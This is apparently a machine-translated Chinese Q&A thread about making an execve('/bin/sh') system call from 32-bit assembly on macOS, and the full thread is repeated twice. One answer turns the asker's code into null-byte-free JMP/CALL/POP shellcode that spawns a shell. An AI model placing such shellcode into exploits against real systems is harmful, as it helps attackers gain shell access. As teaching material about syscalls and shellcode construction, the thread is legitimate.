为什么系统调用不起作用?
Why syscall doesn't work?
我在 MAC OSX 并且我正在尝试通过汇编调用 execve 系统调用..
他的操作码是 59 。
在 linux 中,我必须将操作码设置到 eax,然后将参数设置到其他寄存器,但在这里我必须将操作码设置到 eax,并将参数从右到左压入堆栈。
所以我需要 execve("/bin/sh",NULL,NULL),我在某处发现程序集 null=0,所以我将 null 放入第二个和第三个参数中。
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
pop ebx ;stringa
push 0x0 ;3rd param
push 0x0 ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
int 0x80
string:
call main
db '/bin/sh',0
当我尝试执行它时说:
错误的系统调用:12
BSD 上的 32 位程序(OS/X 所基于的)如果您打算调用 int 0x80
直接。从 FreeBSD documentation 你会发现:
By default, the FreeBSD kernel uses the C calling convention. Further, although the kernel is accessed using int 80h, it is assumed the program will call a function that issues int 80h, rather than issuing int 80h directly.
[snip]
But assembly language programmers like to shave off cycles. The above example requires a call/ret combination. We can eliminate it by pushing an extra dword:
open:
push dword mode
push dword flags
push dword path
mov eax, 5
push eax ; Or any other dword
int 80h
add esp, byte 16
调用int 0x80
时,您需要将堆栈指针调整4。压入任何值都可以实现。在示例中,他们只是执行 push eax
。在调用 int 0x80
之前将 4 个字节压入堆栈。
你的另一个问题是,例如 add eax,0x3b
要求 EAX 已经为零,这很可能不是这种情况。要解决此问题,请在代码中添加 xor eax, eax
。
修复可能类似于:
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
xor eax, eax ;zero EAX
pop ebx ;stringa
push 0x0 ;3rd param
push 0x0 ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
push eax ;Push a 4 byte value after parameters per calling convention
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
push eax ;Push a 4 byte value after parameters per calling convention
; in this case though it won't matter since the system call
; won't be returning
int 0x80
string:
call main
db '/bin/sh',0
Shellcode
你的代码实际上调用了JMP/CALL/POP方法,用于编写漏洞。您是在编写漏洞利用程序还是只是在网上找到此代码?如果它打算用作 shell 代码,则需要避免在输出字符串中放置 0x00 字节。 push 0x00
将在生成的代码中对 0x00 字节进行编码。为了避免这种情况,我们可以使用 EAX ,我们现在将其清零并将其压入堆栈。同样,您将无法以 NUL 终止字符串,因此您必须将 NUL(0) 字符移动到字符串中。将 EAX 归零并弹出 EBX 后的一种方法是使用 mov [ebx+7], al
之类的方法手动将零移动到字符串的末尾。七是字符串结束后的索引/bin/sh
。您的代码将如下所示:
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
xor eax, eax ;Zero EAX
pop ebx ;stringa
mov [ebx+7], al ;append a zero onto the end of the string '/bin/sh'
push eax ;3rd param
push eax ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
push eax
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
push eax
int 0x80
string:
call main
db '/bin/sh',1
您正在使用 64 位系统调用编号和 32 位指令跳转到系统调用。那是行不通的。
对于 32 位用户:
Linux/MacOS execve 的操作码:11
调用系统调用的指令:int 0x80
对于 64 位用户:
Linux execve 的操作码:59(MacOS 64 位系统调用也设置了高位)。
调用系统调用的指令:syscall
将 args 传递给系统调用的方法也不同:32 位使用堆栈,64 位使用与函数调用约定类似的寄存器。
我在 MAC OSX 并且我正在尝试通过汇编调用 execve 系统调用.. 他的操作码是 59 。 在 linux 中,我必须将操作码设置到 eax,然后将参数设置到其他寄存器,但在这里我必须将操作码设置到 eax,并将参数从右到左压入堆栈。
所以我需要 execve("/bin/sh",NULL,NULL),我在某处发现程序集 null=0,所以我将 null 放入第二个和第三个参数中。
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
pop ebx ;stringa
push 0x0 ;3rd param
push 0x0 ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
int 0x80
string:
call main
db '/bin/sh',0
当我尝试执行它时说: 错误的系统调用:12
BSD 上的 32 位程序(OS/X 所基于的)如果您打算调用 int 0x80
直接。从 FreeBSD documentation 你会发现:
By default, the FreeBSD kernel uses the C calling convention. Further, although the kernel is accessed using int 80h, it is assumed the program will call a function that issues int 80h, rather than issuing int 80h directly.
[snip]
But assembly language programmers like to shave off cycles. The above example requires a call/ret combination. We can eliminate it by pushing an extra dword:
open: push dword mode push dword flags push dword path mov eax, 5 push eax ; Or any other dword int 80h add esp, byte 16
调用int 0x80
时,您需要将堆栈指针调整4。压入任何值都可以实现。在示例中,他们只是执行 push eax
。在调用 int 0x80
之前将 4 个字节压入堆栈。
你的另一个问题是,例如 add eax,0x3b
要求 EAX 已经为零,这很可能不是这种情况。要解决此问题,请在代码中添加 xor eax, eax
。
修复可能类似于:
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
xor eax, eax ;zero EAX
pop ebx ;stringa
push 0x0 ;3rd param
push 0x0 ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
push eax ;Push a 4 byte value after parameters per calling convention
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
push eax ;Push a 4 byte value after parameters per calling convention
; in this case though it won't matter since the system call
; won't be returning
int 0x80
string:
call main
db '/bin/sh',0
Shellcode
你的代码实际上调用了JMP/CALL/POP方法,用于编写漏洞。您是在编写漏洞利用程序还是只是在网上找到此代码?如果它打算用作 shell 代码,则需要避免在输出字符串中放置 0x00 字节。 push 0x00
将在生成的代码中对 0x00 字节进行编码。为了避免这种情况,我们可以使用 EAX ,我们现在将其清零并将其压入堆栈。同样,您将无法以 NUL 终止字符串,因此您必须将 NUL(0) 字符移动到字符串中。将 EAX 归零并弹出 EBX 后的一种方法是使用 mov [ebx+7], al
之类的方法手动将零移动到字符串的末尾。七是字符串结束后的索引/bin/sh
。您的代码将如下所示:
global start
section .text
start:
jmp string
main:
; 59 opcode
; int execve(char *fname, char **argp, char **envp);
xor eax, eax ;Zero EAX
pop ebx ;stringa
mov [ebx+7], al ;append a zero onto the end of the string '/bin/sh'
push eax ;3rd param
push eax ;2nd param
push ebx ;1st param
add eax,0x3b ;execve opcode
push eax
int 0x80 ;interupt
sub eax,0x3a ; exit opcode
push eax
int 0x80
string:
call main
db '/bin/sh',1
您正在使用 64 位系统调用编号和 32 位指令跳转到系统调用。那是行不通的。
对于 32 位用户:
Linux/MacOS execve 的操作码:11
调用系统调用的指令:int 0x80
对于 64 位用户:
Linux execve 的操作码:59(MacOS 64 位系统调用也设置了高位)。
调用系统调用的指令:syscall
将 args 传递给系统调用的方法也不同:32 位使用堆栈,64 位使用与函数调用约定类似的寄存器。